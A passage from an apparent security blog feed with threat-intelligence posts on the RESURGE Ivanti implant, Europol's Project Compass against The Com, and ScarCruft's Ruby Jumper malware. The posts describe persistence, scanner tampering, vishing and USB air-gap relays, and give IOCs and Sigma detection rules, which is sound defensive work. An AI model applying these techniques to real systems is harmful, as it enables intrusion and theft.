<li><strong>SSH tunnel</strong>: Embeds a statically-linked libssh server for interactive access</li>
</ol>
<p>All of this happens over the device's legitimate HTTPS port — no extra ports, no suspicious connections.</p>
<h3 id="heading-three-command-sets">Three Command Sets</h3>
<p><strong>Command Set 1 — System Persistence:</strong></p>
<ul>
<li>Injects into <code>ld.so.preload</code> for automatic loading</li>
<li>Generates RSA-2048 keys for SSH access</li>
<li>Deploys web shell at <code>compcheckresult.cgi</code></li>
<li>Modifies system manifests with valid SHA-256 checksums</li>
<li>Disables integrity verification in <code>check_integrity.sh</code></li>
</ul>
<p><strong>Command Set 2 — Bootkit (Survives Factory Reset):</strong></p>
<ul>
<li>Extracts vmlinux from kernel images</li>
<li>Decrypts and decompresses the coreboot RAM disk</li>
<li>Injects malware into boot initialization</li>
<li>Re-encrypts the modified filesystem</li>
<li>Persists across reboots and system updates</li>
</ul>
<p><strong>Command Set 3 — Scanner Evasion:</strong></p>
<ul>
<li>Patches <code>scanner.py</code> and <code>scanner_legacy.py</code></li>
<li>Replaces mismatch detection counters with <code>pass</code> statements</li>
<li>Disables Ivanti's built-in integrity checking</li>
</ul>
<h3 id="heading-associated-malware">Associated Malware</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Component</td><td>File</td><td>Purpose</td></tr>
</thead>
<tbody>
<tr>
<td>RESURGE</td><td><code>libdsupgrade.so</code> (1.4MB)</td><td>Main implant — rootkit + backdoor + bootkit</td></tr>
<tr>
<td>SPAWNSLOTH</td><td><code>liblogblock.so</code> (95KB)</td><td>Log tampering — hooks <code>dslogserver</code></td></tr>
<tr>
<td>BusyBox binary</td><td><code>dsmain</code> (5.1MB)</td><td>Utility — kernel extraction, AES crypto, shell</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-indicators-of-compromise">Indicators of Compromise</h2>
<h3 id="heading-file-hashes-sha-256">File Hashes (SHA-256)</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Hash</td><td>File</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td><code>52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda</code></td><td>libdsupgrade.so</td><td>RESURGE backdoor</td></tr>
<tr>
<td><code>3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104</code></td><td>liblogblock.so</td><td>SPAWNSLOTH log tamper</td></tr>
<tr>
<td><code>b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d</code></td><td>dsmain</td><td>BusyBox utility</td></tr>
</tbody>
</table>
</div><h3 id="heading-file-system-indicators">File System Indicators</h3>
<pre><code>/home/runtime/tmp/.logsrv          # RESURGE IPC socket
/tmp/.liblogblock.so               # SPAWNSLOTH staging
/tmp/data/                         # Temporary workspace
<span class="hljs-attr">Modified</span>: ld.so.preload            # Library injection
<span class="hljs-attr">Modified</span>: scanner.py               # Integrity check disabled
<span class="hljs-attr">Modified</span>: check_integrity.sh       # Verification bypass
Web shell: compcheckresult.cgi     # Remote access
</code></pre><h3 id="heading-network-indicators">Network Indicators</h3>
<ul>
<li>Forged TLS certificate with <code>CN: va1.Ivanti.net</code></li>
<li>P-521 ECC certificate exchanges on HTTPS port</li>
<li>CRC32-based TLS ClientHello fingerprinting</li>
</ul>
<hr />
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Boot Initialization Scripts</td><td>T1547.013</td><td><code>ld.so.preload</code> injection</td></tr>
<tr>
<td>Supply Chain: Compromised Software</td><td>T1195.002</td><td>CVE-2025-0282 exploitation</td></tr>
<tr>
<td>Modify Authentication Process</td><td>T1556</td><td>CRC32 TLS fingerprinting</td></tr>
<tr>
<td>Remote Services: SSH</td><td>T1021.004</td><td>Embedded libssh server</td></tr>
<tr>
<td>Indicator Removal: Clear Logs</td><td>T1070.001</td><td>SPAWNSLOTH log tampering</td></tr>
<tr>
<td>Proxy</td><td>T1090.001</td><td>Traffic proxying via <code>.logsrv</code> socket</td></tr>
<tr>
<td>Deobfuscation</td><td>T1140</td><td>AES decryption of coreboot RAM disk</td></tr>
<tr>
<td>Network Sniffing</td><td>T1040</td><td>TLS packet inspection</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-yara-rules-cisa-provided">YARA Rules (CISA-provided)</h3>
<ul>
<li><code>CISA_25993211_01</code> — RESURGE detection</li>
<li><code>CISA_25993211_02</code> — SPAWNSLOTH detection</li>
<li><code>CISA_25239228_04</code> — SPAWNSNAIL detection</li>
</ul>
<h3 id="heading-sigma-rule-resurge-persistence">Sigma Rule — RESURGE Persistence</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">RESURGE</span> <span class="hljs-string">Ivanti</span> <span class="hljs-string">Implant</span> <span class="hljs-bullet">-</span> <span class="hljs-string">ld.so.preload</span> <span class="hljs-string">Injection</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">file_event</span>
    <span class="hljs-attr">product:</span> <span class="hljs-string">linux</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection:</span>
        <span class="hljs-attr">TargetFilename:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'/etc/ld.so.preload'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'/home/runtime/tmp/.logsrv'</span>
    <span class="hljs-attr">selection_web_shell:</span>
        <span class="hljs-string">TargetFilename|endswith:</span> <span class="hljs-string">'compcheckresult.cgi'</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span> <span class="hljs-string">or</span> <span class="hljs-string">selection_web_shell</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
<span class="hljs-attr">tags:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.persistence</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1547.013</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1505.003</span>
</code></pre>
<h3 id="heading-network-detection">Network Detection</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">RESURGE</span> <span class="hljs-string">Forged</span> <span class="hljs-string">Ivanti</span> <span class="hljs-string">TLS</span> <span class="hljs-string">Certificate</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">proxy</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection:</span>
        <span class="hljs-attr">tls.server.subject.cn:</span> <span class="hljs-string">'va1.Ivanti.net'</span>
        <span class="hljs-attr">tls.server.not_before:</span> <span class="hljs-string">'2024-07-15*'</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
<span class="hljs-attr">tags:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.command_and_control</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1556</span>
</code></pre>
<hr />
<h2 id="heading-remediation-steps">Remediation Steps</h2>
<ol>
<li><strong>Immediately</strong> scan all Ivanti Connect Secure devices for the IOCs listed above</li>
<li>Check for the <code>.logsrv</code> socket file and modified <code>ld.so.preload</code></li>
<li>Verify <code>scanner.py</code> hasn't been patched to disable integrity checks</li>
<li><strong>Do NOT trust factory resets</strong> — RESURGE's bootkit survives them</li>
<li>Restore from known-clean firmware images</li>
<li>Reset ALL credentials (domain and local accounts)</li>
<li>Rotate certificates and access keys</li>
<li>Monitor for forged <code>va1.Ivanti.net</code> TLS certificates</li>
</ol>
<p><strong>Affected versions:</strong> Ivanti Connect Secure &lt; 22.7R2.5, Policy Secure &lt; 22.7R1.2, Neurons for ZTA &lt; 22.7R2.3</p>
<hr />
<p><em>Running Ivanti VPN appliances? Find out if you're exposed with a <a target="_blank" href="https://theinsider-x.com">free penetration test</a> — currently in open beta.</em></p>
<hr />
<p><strong>References:</strong></p>
<ul>
<li><a target="_blank" href="https://www.cisa.gov/news-events/analysis-reports/ar25-087a">CISA MAR-25993211-r1.v2: RESURGE Analysis</a></li>
<li><a target="_blank" href="https://thehackernews.com/2025/03/resurge-malware-exploits-ivanti-flaw.html">The Hacker News: RESURGE Malware Exploits Ivanti Flaw</a></li>
<li><a target="_blank" href="https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day">Google Cloud: Ivanti Connect Secure Zero-Day</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Project Compass: Europol Takes Down The Com — The Teen Cybercrime Network Behind MGM, M&S and Scattered Spider Attacks]]></title><description><![CDATA[Europol just dropped the hammer on The Com, a decentralized cybercrime collective made up mostly of teenagers and young adults who have been behind some of the biggest breaches of 2023-2025. Operation Project Compass has resulted in 30 arrests and 17...]]></description><link>https://deepseax.hashnode.dev/project-compass-europol-takes-down-the-com-the-teen-cybercrime-network-behind-mgm-ms-and-scattered-spider-attacks</link><guid isPermaLink="true">https://deepseax.hashnode.dev/project-compass-europol-takes-down-the-com-the-teen-cybercrime-network-behind-mgm-ms-and-scattered-spider-attacks</guid><category><![CDATA[europol]]></category><category><![CDATA[Cybercrime]]></category><category><![CDATA[ransomware]]></category><category><![CDATA[#SocialEngineering ]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Fri, 27 Feb 2026 15:46:09 GMT</pubDate><content:encoded><![CDATA[<p>Europol just dropped the hammer on <strong>The Com</strong>, a decentralized cybercrime collective made up mostly of teenagers and young adults who have been behind some of the biggest breaches of 2023-2025. Operation <strong>Project Compass</strong> has resulted in 30 arrests and 179 suspects identified across 28 countries.</p>
<p>This isn't a story about sophisticated zero-days. It's about <strong>social engineering at scale</strong> — and why your help desk is your weakest link.</p>
<hr />
<h2 id="heading-what-is-the-com">What Is The Com?</h2>
<p>The Com is not a single gang — it's a loose ecosystem of young cybercriminals who recruit and radicalize each other across Discord, Telegram, gaming platforms, and social media. Members range from teenagers to young adults, primarily based in English-speaking countries.</p>
<p>What makes The Com dangerous is its connections. Members have operated under or alongside some of the most notorious cybercrime brands:</p>
<ul>
<li><strong>Scattered Spider</strong> (UNC3944/Octo Tempest) — help-desk social engineering specialists</li>
<li><strong>LAPSUS$</strong> (DEV-0537) — insider recruitment and source code theft</li>
<li><strong>ShinyHunters</strong> (UNC6040) — large-scale data harvesting and extortion</li>
</ul>
<p>In 2025, these groups merged into an alliance calling themselves <strong>Scattered LAPSUS$ Hunters (SLH)</strong>, claiming over 60 million breached records.</p>
<hr />
<h2 id="heading-the-attack-playbook">The Attack Playbook</h2>
<p>Not a single attack attributed to these groups started with an endpoint exploit or network vulnerability. Every breach began with <strong>account takeover through social engineering</strong>.</p>
<h3 id="heading-primary-technique-vishing-voice-phishing">Primary Technique: Vishing (Voice Phishing)</h3>
<p>Attackers call target organizations posing as IT support staff. They convince employees to:</p>
<ul>
<li>Reset MFA tokens</li>
<li>Approve malicious OAuth integrations</li>
<li>Provide VPN credentials</li>
<li>Grant remote access</li>
</ul>
<p>The group has deployed <strong>AI-driven voice agents</strong> for automated vishing at scale, and actively recruits women for voice phishing campaigns, paying up to <strong>$1,000 per call</strong>.</p>
<h3 id="heading-post-compromise-toolkit">Post-Compromise Toolkit</h3>
<p>Once inside, The Com operators follow a consistent playbook:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Phase</td><td>Tools &amp; Techniques</td></tr>
</thead>
<tbody>
<tr>
<td>Credential Harvesting</td><td>RedLine malware, MFA fatigue (T1621), NTDS.dit extraction</td></tr>
<tr>
<td>Enumeration</td><td>ADExplorer, ADRecon.ps1, PowerShell Get-ADUser</td></tr>
<tr>
<td>Persistence</td><td>ScreenConnect, TeamViewer, Splashtop, Pulseway (RMM abuse)</td></tr>
<tr>
<td>Email Interception</td><td>Office 365 mail transport rules (tenant-level redirect)</td></tr>
<tr>
<td>Cloud Pivot</td><td>AWS IMDS exploitation (169.254.169.254 → IAM role theft)</td></tr>
<tr>
<td>Extortion</td><td>TOR-based extortion portal, data leak threats</td></tr>
</tbody>
</table>
</div><h3 id="heading-notable-victims">Notable Victims</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Year</td><td>Target</td><td>Impact</td></tr>
</thead>
<tbody>
<tr>
<td>2023</td><td>MGM Resorts &amp; Caesars</td><td>Casino operations disrupted, $100M+ losses</td></tr>
<tr>
<td>2025</td><td>Marks &amp; Spencer</td><td>Retail operations compromised</td></tr>
<tr>
<td>2025</td><td>The Co-op</td><td>Systems breached via social engineering</td></tr>
<tr>
<td>2025</td><td>Harrods</td><td>Targeted in same campaign wave</td></tr>
<tr>
<td>2025</td><td>Salesforce environments</td><td>API-level access via vishing</td></tr>
<tr>
<td>2025</td><td>Salesloft &amp; Drift</td><td>GitHub repos → OAuth tokens → AWS access</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-project-compass-the-takedown">Project Compass: The Takedown</h2>
<p>Launched in January 2025 by Europol's <strong>European Counter Terrorism Centre</strong> (not cybercrime unit — that's significant), Project Compass coordinates:</p>
<ul>
<li><strong>28 countries</strong> including all EU member states</li>
<li><strong>Five Eyes</strong> alliance (US, UK, Canada, Australia, New Zealand)</li>
<li>Norway and Switzerland</li>
<li>FBI and Homeland Security Investigations</li>
<li>UK Counter Terrorism Policing and NCA</li>
</ul>
<h3 id="heading-results-after-one-year">Results After One Year</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Metric</td><td>Count</td></tr>
</thead>
<tbody>
<tr>
<td>Arrests</td><td>30</td></tr>
<tr>
<td>Suspects identified</td><td>179</td></tr>
<tr>
<td>Victims identified</td><td>62</td></tr>
<tr>
<td>Children safeguarded</td><td>4</td></tr>
<tr>
<td>Countries participating</td><td>28</td></tr>
</tbody>
</table>
</div><p>The fact that Europol's <strong>counter-terrorism</strong> division leads this — not the cybercrime unit — reflects how The Com has evolved beyond pure hacking into physical violence, sextortion of minors, and connections to violent extremist groups.</p>
<hr />
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Acquire Access (Insider Recruitment)</td><td>T1650</td><td>Telegram recruitment channels</td></tr>
<tr>
<td>Phishing: Vishing</td><td>T1566.004</td><td>Primary initial access vector</td></tr>
<tr>
<td>Multi-Factor Auth Request Generation</td><td>T1621</td><td>MFA fatigue/prompt bombing</td></tr>
<tr>
<td>OS Credential Dumping: NTDS</td><td>T1003.003</td><td>Domain controller credential theft</td></tr>
<tr>
<td>Remote Access Software</td><td>T1219</td><td>ScreenConnect, TeamViewer abuse</td></tr>
<tr>
<td>Email Forwarding Rule</td><td>T1114.003</td><td>O365 mail transport interception</td></tr>
<tr>
<td>Data Encrypted for Impact</td><td>T1486</td><td>Ransomware deployment</td></tr>
<tr>
<td>Financial Theft</td><td>T1657</td><td>Extortion via TOR portal</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-detection-amp-defense">Detection &amp; Defense</h2>
<h3 id="heading-why-traditional-security-fails">Why Traditional Security Fails</h3>
<p>These attacks bypass every technical control because they target <strong>humans, not systems</strong>. EDR won't catch a phone call. Firewalls don't block social engineering.</p>
<h3 id="heading-what-actually-works">What Actually Works</h3>
<p><strong>1. Help Desk Hardening</strong></p>
<ul>
<li>Implement callback verification for all credential resets</li>
<li>Require video verification for high-privilege account changes</li>
<li>Never reset MFA based on a phone call alone</li>
</ul>
<p><strong>2. MFA Architecture</strong></p>
<ul>
<li>Deploy phishing-resistant MFA (FIDO2/WebAuthn)</li>
<li>Disable SMS-based MFA entirely (SIM swapping risk)</li>
<li>Set MFA prompt rate limits to prevent fatigue attacks</li>
</ul>
<p><strong>3. Monitoring for Post-Compromise</strong></p>
<pre><code># Detection priorities:
- OAuth application registrations <span class="hljs-keyword">from</span> <span class="hljs-keyword">new</span> principals
- RMM tool installations (ScreenConnect, TeamViewer, Splashtop)
- Office <span class="hljs-number">365</span> mail transport rule modifications
- NTDS.dit access or ntdsutil execution
- AWS IMDS queries <span class="hljs-keyword">from</span> unusual processes
- Bulk data access patterns after credential reset events
</code></pre><p><strong>4. Insider Threat Program</strong></p>
<ul>
<li>Monitor for recruitment outreach on Telegram/Discord</li>
<li>Track employees accessing systems outside normal patterns</li>
<li>Implement data loss prevention for source code repositories</li>
</ul>
<hr />
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>The Com represents a paradigm shift in cybercrime. These aren't Russian organized crime syndicates or Chinese APT groups — they're <strong>Western teenagers</strong> who learned to hack through gaming communities and social media.</p>
<p>Their weapon of choice isn't malware. It's a <strong>phone call</strong>.</p>
<p>Project Compass is a start, but with 179 suspects identified and only 30 arrested, the network is far from dismantled. The decentralized structure means new members are constantly being recruited through the same platforms where they socialize.</p>
<p>For defenders, the lesson is clear: <strong>invest in people and process, not just technology</strong>. The most expensive SIEM in the world won't stop an employee from giving away credentials over the phone.</p>
<hr />
<p><em>Think your help desk could withstand a vishing attack? Find out with a <a target="_blank" href="https://theinsider-x.com">free penetration test</a> — currently in open beta.</em></p>
<hr />
<p><strong>References:</strong></p>
<ul>
<li><a target="_blank" href="https://www.helpnetsecurity.com/2026/02/27/europol-the-com-network-arrests/">Europol: Project Compass Results</a></li>
<li><a target="_blank" href="https://www.infosecurity-magazine.com/news/project-compass-com-arrests/">Infosecurity Magazine: Project Compass Arrests</a></li>
<li><a target="_blank" href="https://www.picussecurity.com/resource/blog/scattered-lapsus-hunters-2025s-most-dangerous-cybercrime-supergroup">Picus Security: Scattered LAPSUS$ Hunters Analysis</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[ScarCruft Ruby Jumper: How North Korean Hackers Breach Air-Gapped Networks via USB and Zoho WorkDrive in 2026]]></title><description><![CDATA[North Korea's ScarCruft (APT37) just raised the bar for air-gapped network attacks. Their new Ruby Jumper campaign, discovered by Zscaler ThreatLabz in December 2025, deploys six custom malware families — including a backdoor that abuses Zoho WorkDri...]]></description><link>https://deepseax.hashnode.dev/scarcruft-ruby-jumper-how-north-korean-hackers-breach-air-gapped-networks-via-usb-and-zoho-workdrive-in-2026</link><guid isPermaLink="true">https://deepseax.hashnode.dev/scarcruft-ruby-jumper-how-north-korean-hackers-breach-air-gapped-networks-via-usb-and-zoho-workdrive-in-2026</guid><category><![CDATA[scarcruft]]></category><category><![CDATA[apt37]]></category><category><![CDATA[airgapped]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Fri, 27 Feb 2026 14:08:18 GMT</pubDate><content:encoded><![CDATA[<p>North Korea's ScarCruft (APT37) just raised the bar for air-gapped network attacks. Their new <strong>Ruby Jumper</strong> campaign, discovered by Zscaler ThreatLabz in December 2025, deploys six custom malware families — including a backdoor that abuses Zoho WorkDrive for C2 and USB-based implants that bridge isolated networks.</p>
<p>This is a masterclass in nation-state tradecraft. Here's the full technical breakdown.</p>
<hr />
<h2 id="heading-the-infection-chain">The Infection Chain</h2>
<p>Ruby Jumper starts with a malicious <code>.LNK</code> shortcut file. When opened, it triggers PowerShell to carve embedded payloads from fixed offsets within the LNK itself — a technique that avoids dropping files to disk initially.</p>
<p>The chain progresses through four stages:</p>
<p><strong>Stage 1 — RESTLEAF (Initial Implant)</strong></p>
<p>RESTLEAF executes entirely in memory via shellcode injection. What makes it notable: it uses <strong>Zoho WorkDrive</strong> as its C2 channel. The implant authenticates using hardcoded OAuth credentials, then downloads shellcode from a file called <code>AAA.bin</code> and creates beacon files with a <code>lion [timestamp]</code> pattern.</p>
<p>This is the first documented case of APT37 abusing Zoho WorkDrive — adding to their history of hijacking legitimate cloud services.</p>
<p><strong>Stage 2 — SNAKEDROPPER (Persistence)</strong></p>
<p>Once RESTLEAF pulls down the next payload, SNAKEDROPPER takes over. It:</p>
<ul>
<li>Extracts an embedded Ruby 3.3.0 runtime from <code>ruby3.zip</code></li>
<li>Installs it to <code>%PROGRAMDATA%\usbspeed</code>, renaming <code>rubyw.exe</code> to <code>usbspeed.exe</code></li>
<li>Replaces Ruby's legitimate <code>operating_system.rb</code> with malicious code</li>
<li>Creates a scheduled task <code>rubyupdatecheck</code> that runs every 5 minutes</li>
</ul>
<p>The masquerading is clever — disguising a full Ruby runtime as a USB utility.</p>
<p><strong>Stage 3 — Air-Gap Bridge (THUMBSBD + VIRUSTASK)</strong></p>
<p>This is where Ruby Jumper gets dangerous.</p>
<p><strong>VIRUSTASK</strong> monitors for USB drive connections. When a removable drive with 2GB+ free space is detected, it:</p>
<ul>
<li>Creates a hidden <code>$RECYCLE.BIN.USER</code> folder</li>
<li>Replaces victim files with LNK shortcuts pointing to <code>usbspeed.exe</code></li>
<li>Checks <code>c:\programdata\usbspeed</code> to identify already-infected hosts</li>
</ul>
<p><strong>THUMBSBD</strong> turns USB drives into a bidirectional C2 channel. It creates hidden directories on removable media to stage commands (<code>CMD</code>, <code>MCD</code>) and exfiltrate data (<code>RST</code>). The implant encrypts its configuration with single-byte XOR (key <code>0x83</code>) and targets specific victims using SHA-256 identifiers derived from volume serial numbers.</p>
<p>This allows operators to send commands and receive stolen data through the USB relay — no network connection required on the air-gapped target.</p>
<p><strong>Stage 4 — FOOTWINE (Full Surveillance)</strong></p>
<p>The final payload is FOOTWINE, a full-featured backdoor with:</p>
<ul>
<li><code>sm</code> — Interactive shell access</li>
<li><code>dm</code> — Screenshot capture and keylogging</li>
<li><code>cm</code> — Audio and video surveillance (microphone + webcam)</li>
<li><code>fm</code> — File upload, download, and deletion</li>
<li><code>rm</code> — Registry operations</li>
<li><code>pm</code> — Process enumeration</li>
<li><code>pxm</code> — Proxy relay for pivoting</li>
</ul>
<p>FOOTWINE uses a custom binary protocol on port 8080 with random padding (32-846 bytes) and a 32-byte session key exchange to evade signature-based detection.</p>
<hr />
<h2 id="heading-indicators-of-compromise">Indicators of Compromise</h2>
<h3 id="heading-network-iocs">Network IOCs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Type</td><td>Indicator</td></tr>
</thead>
<tbody>
<tr>
<td>C2 Domain</td><td><code>philion[.]store</code></td></tr>
<tr>
<td>C2 Domain</td><td><code>homeatedke[.]store</code></td></tr>
<tr>
<td>C2 Domain</td><td><code>hightkdhe[.]store</code></td></tr>
<tr>
<td>C2 IP</td><td><code>144.172.106.66:8080</code></td></tr>
</tbody>
</table>
</div><h3 id="heading-file-system-artifacts">File System Artifacts</h3>
<pre><code>%PROGRAMDATA%\usbspeed\           # Ruby runtime (masquerading)
%PROGRAMDATA%\ruby3.zip            # Staging archive
%LOCALAPPDATA%\TnGtp\TN.dat        # THUMBSBD config (XOR encrypted)
Scheduled Task: rubyupdatecheck    # <span class="hljs-number">5</span>-minute persistence
</code></pre><h3 id="heading-registry-keys">Registry Keys</h3>
<pre><code>HKCU\SOFTWARE\Microsoft\TnGtp              # THUMBSBD marker
HKCU\Software\Microsoft\ActiveUSBPolicies  # VIRUSTASK state
</code></pre><h3 id="heading-file-hashes-md5">File Hashes (MD5)</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Hash</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td><code>709d70239f1e9441e8e21fcacfdc5d08</code></td><td>Malicious LNK</td></tr>
<tr>
<td><code>ad556f4eb48e7dba6da14444dcce3170</code></td><td>RESTLEAF shellcode</td></tr>
<tr>
<td><code>098d697f29b94c11b52c51bfe8f9c47d</code></td><td>SNAKEDROPPER</td></tr>
<tr>
<td><code>4214818d7cde26ebeb4f35bc2fc29ada</code></td><td>THUMBSBD (ascii.rb)</td></tr>
<tr>
<td><code>5c6ff601ccc75e76c2fc99808d8cc9a9</code></td><td>VIRUSTASK</td></tr>
<tr>
<td><code>476bce9b9a387c5f39461d781e7e22b9</code></td><td>FOOTWINE</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Stage</td></tr>
</thead>
<tbody>
<tr>
<td>User Execution: Malicious Link</td><td>T1204.001</td><td>Initial Access</td></tr>
<tr>
<td>PowerShell</td><td>T1059.001</td><td>Execution</td></tr>
<tr>
<td>Scheduled Task</td><td>T1053.005</td><td>Persistence</td></tr>
<tr>
<td>Process Injection</td><td>T1055</td><td>Defense Evasion</td></tr>
<tr>
<td>Masquerading</td><td>T1036.005</td><td>Defense Evasion</td></tr>
<tr>
<td>Communication via Removable Media</td><td>T1092</td><td>C2</td></tr>
<tr>
<td>Exfiltration over USB</td><td>T1052.001</td><td>Exfiltration</td></tr>
<tr>
<td>Keylogging</td><td>T1056.001</td><td>Collection</td></tr>
<tr>
<td>Screen Capture</td><td>T1113</td><td>Collection</td></tr>
<tr>
<td>Audio Capture</td><td>T1123</td><td>Collection</td></tr>
<tr>
<td>Video Capture</td><td>T1125</td><td>Collection</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-detection-opportunities">Detection Opportunities</h2>
<h3 id="heading-sigma-rule-snakedropper-persistence">Sigma Rule — SNAKEDROPPER Persistence</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">ScarCruft</span> <span class="hljs-string">Ruby</span> <span class="hljs-string">Jumper</span> <span class="hljs-bullet">-</span> <span class="hljs-string">SNAKEDROPPER</span> <span class="hljs-string">Persistence</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">process_creation</span>
    <span class="hljs-attr">product:</span> <span class="hljs-string">windows</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection_path:</span>
        <span class="hljs-string">Image|endswith:</span> <span class="hljs-string">'\\usbspeed.exe'</span>
        <span class="hljs-string">Image|contains:</span> <span class="hljs-string">'\\ProgramData\\'</span>
    <span class="hljs-attr">selection_task:</span>
        <span class="hljs-string">CommandLine|contains:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'rubyupdatecheck'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'operating_system.rb'</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection_path</span> <span class="hljs-string">or</span> <span class="hljs-string">selection_task</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
<span class="hljs-attr">tags:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.persistence</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1053.005</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1036.005</span>
</code></pre>
<h3 id="heading-sigma-rule-thumbsbd-usb-staging">Sigma Rule — THUMBSBD USB Staging</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">ScarCruft</span> <span class="hljs-string">Ruby</span> <span class="hljs-string">Jumper</span> <span class="hljs-bullet">-</span> <span class="hljs-string">USB</span> <span class="hljs-string">Air-Gap</span> <span class="hljs-string">Relay</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">file_event</span>
    <span class="hljs-attr">product:</span> <span class="hljs-string">windows</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection:</span>
        <span class="hljs-string">TargetFilename|contains:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'$RECYCLE.BIN.USER'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'\\MCD\\'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'\\OCD\\'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'\\RST\\'</span>
    <span class="hljs-attr">filter:</span>
        <span class="hljs-string">TargetFilename|contains:</span> <span class="hljs-string">'\\$Recycle.Bin\\S-'</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span> <span class="hljs-string">and</span> <span class="hljs-string">not</span> <span class="hljs-string">filter</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.command_and_control</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1092</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1052.001</span>
</code></pre>
<h3 id="heading-network-detection">Network Detection</h3>
<p>Monitor for:</p>
<ul>
<li>Zoho WorkDrive API calls (<code>workdrive.zoho.com</code>) from non-browser processes</li>
<li>Custom binary protocol on port 8080 with random-length padding</li>
<li>DNS queries to <code>philion.store</code>, <code>homeatedke.store</code>, <code>hightkdhe.store</code></li>
</ul>
<hr />
<h2 id="heading-why-this-matters">Why This Matters</h2>
<p>Air-gapped networks exist specifically to protect the most sensitive systems — military, intelligence, critical infrastructure. ScarCruft's Ruby Jumper demonstrates that nation-state actors are actively investing in tools to breach these isolated environments.</p>
<p>The combination of cloud-based C2 (Zoho WorkDrive) for internet-connected systems and USB relay for air-gapped targets creates a complete kill chain that's difficult to detect with traditional security tools.</p>
<p><strong>Key takeaways for defenders:</strong></p>
<ol>
<li><strong>USB device control</strong> is not optional for sensitive environments</li>
<li>Monitor for Ruby runtimes in unusual paths (<code>%PROGRAMDATA%</code>)</li>
<li>Watch for scheduled tasks with suspicious names executing scripts</li>
